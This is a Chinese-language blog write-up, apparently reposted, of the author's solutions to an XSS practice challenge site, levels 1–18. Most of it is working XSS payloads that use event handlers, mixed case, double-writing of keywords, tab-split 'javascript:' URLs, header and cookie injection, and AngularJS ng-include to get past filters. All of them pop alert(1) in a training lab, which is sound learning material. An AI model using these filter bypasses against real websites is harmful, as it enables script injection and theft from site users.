某xss挑戰賽闖關筆記


0x0 前言

在sec-news發現先知上師傅monika發了一個xss挑戰賽的闖關wp([巨人肩膀上的矮子]XSS挑戰之旅---游戲通關攻略(更新至18關)https://xianzhi.aliyun.com/forum/read/1462.html),去看了一下發現是前幾天剛發現的平台,看了一下那個繞狗教程感覺挺不錯的,xss卻沒有玩,那么正巧就玩一下,順便學習一波別的師傅的思路。

http://xss.tv

 

闖關地址:http://test.xss.tv

 

自己做了一些,也看了一下先知monika師傅的wp,參考了幾道題。做到了第十八關,剩下的做不了了,考的是flash xss得反編譯分析,暫時沒有去研究了。待日后在弄吧。

注意:題目需要在firefox下做,chrome下的xss audit太猛了,或者關閉再做也是可以的。

 

Level 1

第一題很簡單,沒有任何過濾,輸出在標簽之間。

參考payload:

<svg/onload=alert(1)>

 

Level 2

輸出點有兩個

 

 測試之后發現第二個點可以。

閉合掉雙引號,用on事件就可以了。

參考payload:

" onclick=alert(1)> 需要點擊一下輸入框。
" onmouseover=alert(1)> 要鼠標滑過輸入框

 

Level 3

兩個輸出點,依舊是標簽屬性內的可以

用單引號閉合即可,然后用on事件,大同小異。

參考payload:

' onclick=alert(1)%0a  %0a用做換行使的input標簽語法正確,主要是因為過濾了“>”。

 

 

Level 4

和level 3如出一轍,只是換成了雙引號

參考payload:

" onclick=alert(1)%0a 

這里就不截圖了。

 

Level 5

這里過濾on事件,on會變成o_n

故用javascript來繞過

參考payload:

"><a href=javascript:alert(1)> 點擊一下鏈接即可  

 

Level 6

這道題同樣是過濾了on,但也過濾src,href等。

但最后發現可以大小寫繞過,參考payload:

"><svg x="" Onclick=alert(1)>

 

Level 7

這道題過濾script等關鍵字,發現置換為空,所以可以雙寫繞過。

參考payload:

">hello<sscriptcript>alert(1)</sscriptcript>

 

Level 8

這道題過濾javascript關鍵字,會把javascript變成javasc_ript。可以通過tab制表符繞過(%09)

參考payload:

javasc%09ript:alert(1) 需要點擊一下頁面內鏈接

 

Level 9

這道題做的時候感覺有點怪怪的,不知道過濾什么,故參考了一下先知的wp,發現是必須要包含http://。

同樣這道題也過濾了javascript關鍵字,會變成javascr_ipt。

參考payload:

javascr%09ipt:alert(1)//http:// 這里必須要用單行注釋符//注釋掉后面的http://,這里因為在javascript偽協議里面,屬於js范疇,所以單行注釋符是可以使用的。

 

Level 10

這道題做的時候也是蒙圈,keyword過濾了用不了,沒有輸出點怎么破?看了一下先知的wp,發現有隱藏的form和input。

 

因為也沒過濾什么,最后的參考payload為:

keyword=test&t_sort=" type="text" onclick="alert()

 

Level 11 12 13

這三道題都是一樣的東西,從第十關過來之后會發現t_ref有東西

參考payload:

" type="text" onclick="alert()

(其他兩題payload是一樣的,只是輸入點不一樣而已,12關輸入點是ua,13關輸入點是cookie)

因為11題是referer,所以得用burpsuite來抓包改,直接用hackbar是改不了的。

修改成payload之后,發包即可。

 

 Level 14

看了先知的wp,才知道是圖片exif 藏有xss payload。但是我自己測試不成功,就不截圖了。詳情可以參考先知的(https://xianzhi.aliyun.com/forum/read/1462.html?page=2)

 

Level 15

這一關考的angular js的知識,稍微百度一下相關知識

發現ng-include有包含文件的意思,也就相當於php里面的include。看了一下先知的wp。

發現可以包含第一關的頁面,最后的參考payload:

src='level1.php?name=<img src=x onerror=alert(1)>'

 

Level 16

這一關,過濾了空格。可以選擇用其他符號來繞過比如(%0a%0d)

參考payload:

<img%0a%0dsrc=x%0a%0donerror=alert(1)>

 

Level 17 18

這兩關的考點是一樣的,同樣的payload可以過。放了個swf在頁面,搞得我以為是flash xss,反編譯,看源碼折騰了一會,發現找不到點。然后想去參考一下先知的,結果發現不是flash xss,淚奔。

參考payload:

  onmouseover=alert(1) 注意:onmouseover前面有一個空格

 

Level 19,20

這兩道題看了一下,都過濾了雙引號,閉合不了。應該是考flash的。

想着flash不會就跳過了這兩道題,去看一下21題,但是訪問報錯了,不知道是沒有了還是必須得做出前面的題才行。那么,也就到這里為止了。

 

總結:

經過這次闖關,學習到不少東西,也鞏固了不少知識。

做題的時候還有點心急了,導致看了參考,這樣不利於自己解題。重要的是過程,明白其原理!

不能太懶,這樣只能是慢別人半拍。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM